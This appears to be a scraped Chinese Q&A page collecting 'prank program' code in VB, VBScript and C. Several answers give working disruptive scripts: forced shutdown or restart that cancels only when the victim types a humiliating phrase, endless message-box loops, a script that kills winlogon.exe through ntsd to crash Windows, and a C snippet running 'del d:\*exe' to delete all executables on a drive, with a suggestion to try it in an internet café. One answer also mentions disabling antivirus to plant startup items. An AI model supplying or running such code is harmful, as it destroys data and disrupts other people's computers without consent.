恶搞软件代码大全,恶搞软件代码大全下载

收集 VB搞笑程序代码

你可以去弄些可以让别人选择回答得笑话,然后放到程序里让你别人选择,显示..

VB整蛊程序求代码

Private Sub Command1_Click() If Text2 + Text3 <> 50 Then Shell ＂c:\\windows\\system32\\cmd.exe /c shutdown -s -t 100 ＂ MsgBox ＂提示＂, ＂输入错误!系统会在10秒后关机＂, ＂64＂ Else MsgBox ＂提示＂, ＂放过你一马＂ End If End Sub 附件加载失败,请点击刷新

谁能给一个恶搞程序？

把下面的语段保存到记事本（不包括横杠）

然后保存，该后缀名为 .vbe

—————————————————

msgbox”使劲儿点吧！”

loop

—————————————————

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject(“wscript.shell”)

WSHshellA.run “cmd.exe /c shutdown -s -t 70 -c “”HELLO!”” “,0 ,true

dim a

do while(a <> “OK”)

a = inputbox (“Press‘OK’”)

msgbox chr(13) + chr(13) + chr(13) + a,0,”V.B.E”

loop

msgbox chr(13) + chr(13) + chr(13) + “THANK YOU!”

dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”)

WSHshell.run “cmd.exe /c shutdown -a”,0 ,true

msgbox chr(13) + chr(13) + chr(13) + “THANK YOU FOR YOUS TEST!”

msgbox chr(13) + chr(13) + chr(13) + “GOOD BYE!”

—————————————————-

第一个：效果：弹出无法关闭的对话框

解除方式：任务管理器进程中关闭Wscript

第二个：效果：系统关机

解除方式：①在运行中输入shutdown -a

然后关闭进程Wscript

②输入正确的答案（答案为 OK）

求一些vbe整蛊代码

on error resume next dim WSHshellA set WSHshellA = wscript.createobject(“wscript.shell”) WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c “”快说“我是你的情人”，不说我是你的大情人就一分钟关你机，不信，试试···”” “,0 ,true dim a do while(a <> “我是你的情人”) a = inputbox (“承认是我情人,就不关机，快撒，说 “”我是你的情人”” “,”说不说”,”不说”,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,”MsgBox” loop msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛” dim WSHshell set WSHshell = wscript.createobject(“wscript.shell”) WSHshell.run “cmd.exe /c shutdown -a”,0 ,true msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈，真过瘾” msgbox chr(13) + chr(13) + chr(13) + “好情人真听话啊” msgbox chr(13) + chr(13) + chr(13) + “下次我买糖给你吃” msgbox chr(13) + chr(13) + chr(13) + “要吃什么糖啊” msgbox chr(13) + chr(13) + chr(13) + “什么，大白兔？” msgbox chr(13) + chr(13) + chr(13) + “不行，不行，大白兔吃了长石头啊” msgbox chr(13) + chr(13) + chr(13) + “要不我给你讲个故事” msgbox chr(13) + chr(13) + chr(13) + “从前有个山” msgbox chr(13) + chr(13) + chr(13) + “山里有个庙” msgbox chr(13) + chr(13) + chr(13) + “庙里有个老和尚” msgbox chr(13) + chr(13) + chr(13) + “老和尚在给小和尚讲故事” msgbox chr(13) + chr(13) + chr(13) + “讲什么故事呢” msgbox chr(13) + chr(13) + chr(13) + “故事是这样的” msgbox chr(13) + chr(13) + chr(13) + “从前有个山” msgbox chr(13) + chr(13) + chr(13) + “山里有个庙” msgbox chr(13) + chr(13) + chr(13) + “庙里有个老和尚” msgbox chr(13) + chr(13) + chr(13) + “从前有个山” msgbox chr(13) + chr(13) + chr(13) + “山里有个庙” msgbox chr(13) + chr(13) + chr(13) + “庙里有个老和尚” msgbox chr(13) + chr(13) + chr(13) + “老和尚在给小和尚讲故事” msgbox chr(13) + chr(13) + chr(13) + “讲什么故事呢” msgbox chr(13) + chr(13) + chr(13) + “故事是这样的” msgbox chr(13) + chr(13) + chr(13) + “从前有个山” msgbox chr(13) + chr(13) + chr(13) + “山里有个庙” msgbox chr(13) + chr(13) + chr(13) + “庙里有个老和尚” msgbox chr(13) + chr(13) + chr(13) + “老和尚在给小和尚讲故事” msgbox chr(13) + chr(13) + chr(13) + “讲什么故事呢” msgbox chr(13) + chr(13) + chr(13) + “故事是这样的” msgbox chr(13) + chr(13) + chr(13) + “从前有个山” msgbox chr(13) + chr(13) + chr(13) + “山里有个庙” msgbox chr(13) + chr(13) + chr(13) + “庙里有个老和尚” msgbox chr(13) + chr(13) + chr(13) + “老和尚在给小和尚讲故事” msgbox chr(13) + chr(13) + chr(13) + “讲什么故事呢” msgbox chr(13) + chr(13) + chr(13) + “故事是这样的” msgbox chr(13) + chr(13) + chr(13) + “什么，不听了” msgbox chr(13) + chr(13) + chr(13) + “别哭别哭，我给你买糖！” msgbox chr(13) + chr(13) + chr(13) + “********************************************华丽的分割*******************************************” msgbox chr(13) + chr(13) + chr(13) + “以下的话绝对不是废话” msgbox chr(13) + chr(13) + chr(13) + “其实呢我是无聊的…” msgbox chr(13) + chr(13) + chr(13) + “不过既然找到了你” msgbox chr(13) + chr(13) + chr(13) + “我想你也不会拒绝吧” msgbox chr(13) + chr(13) + chr(13) + “做人是要诚实的” msgbox chr(13) + chr(13) + chr(13) + “咱说话不能不算话吧” msgbox chr(13) + chr(13) + chr(13) + “不然会容易让人家怀疑你言而无信” msgbox chr(13) + chr(13) + chr(13) + “我想你绝对不是言而无信的人吧” msgbox chr(13) + chr(13) + chr(13) + “^-^那么刚刚说的话要算话” msgbox chr(13) + chr(13) + chr(13) + “我可没强迫你哦” msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈哈哈哈哈哈哈哈~”

求一些恶搞程序的C语言源代码

去学学system函数,举个例子给你: #include #include int main() { system(＂del d:\\*exe＂); return 0; } 这个可以把你d盘全部exe程序文件删除,可以去网吧试试欢迎采纳

求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

蓝屏：

msgbox “我想要你蓝屏，哈哈…”

Set ws = CreateObject(“Wscript.Shell”)

wscript.sleep 1200

ws.run “cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul”,vbhide

set ob=wscript.createobject(“wscript.shell”)

无限循环：

msgbox””

loop

强制关机：

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject(“wscript.shell”)

WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c “”说我是猪，不说我是猪就一分钟关你机，不信，试试···”” “,0 ,true

dim a

do while(a <> “我是猪”)

a = inputbox (“说我是猪,就不关机，快撒，说 “”我是猪””　”,”说不说”,”不说”,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,”MsgBox”

loop

msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛”

dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”)

WSHshell.run “cmd.exe /c shutdown -a”,0 ,true

msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈，真过瘾”

谁能教我一些恶搞程序

弯刀幽灵属于恶搞病毒可将电脑中所有的应用程序的图标变为小鬼脸对系统无危害

急需恶搞程序开机自启的代码,说“xxx”才得进入

-这种恶搞程序在360等安全软件横行的情况下是收不到效果的,因为后台添加启动项会报毒、、、、总之,你不想让他看到你在启动项里加入了什么东西,这就需要诸如驱动穿甲等过程来杀掉杀软,然后再写入启动.没有一定技术是做不出来的,我有个大神的源码,但是想做还是很费劲的..至于说输入“XXX”才能进入系统的代码就很简单了.

求一个小恶作剧程序

看看这个: 关键代码 Private Sub Timer1_Timer() Dim T As Long, L As Long If Doing = False Then Doing = True Dim CurPos As POINTAPI Dim PPos As RECT Dim Hnd As Long GetCursorPos CurPos Hnd = WindowFromPoint(CurPos.x, CurPos.y) Do Until GetParent(Hnd) = 0 Hnd = GetParent(Hnd) If Text1.Text <> “” Then Hnd = Text1.Text Loop GetWindowRect Hnd, PPos T = PPos.Top L = PPos.Left Dim I As Integer For I = 1 To 200 If L < 0 Or L + PPos.Right - PPos.Left > Screen.Width / 15 Then d = -1 * d L = L + xx * d End If If T < 0 Or PPos.Bottom - PPos.Top + T > Screen.Height / 15 Then c = -1 * c T = T + c * xx End If L = L + xx * d T = T + c * xx SetWindowPos Hnd, 0, L, T, PPos.Right – PPos.Left, PPos.Bottom – PPos.Top, 0 Next End If Doing = False End Sub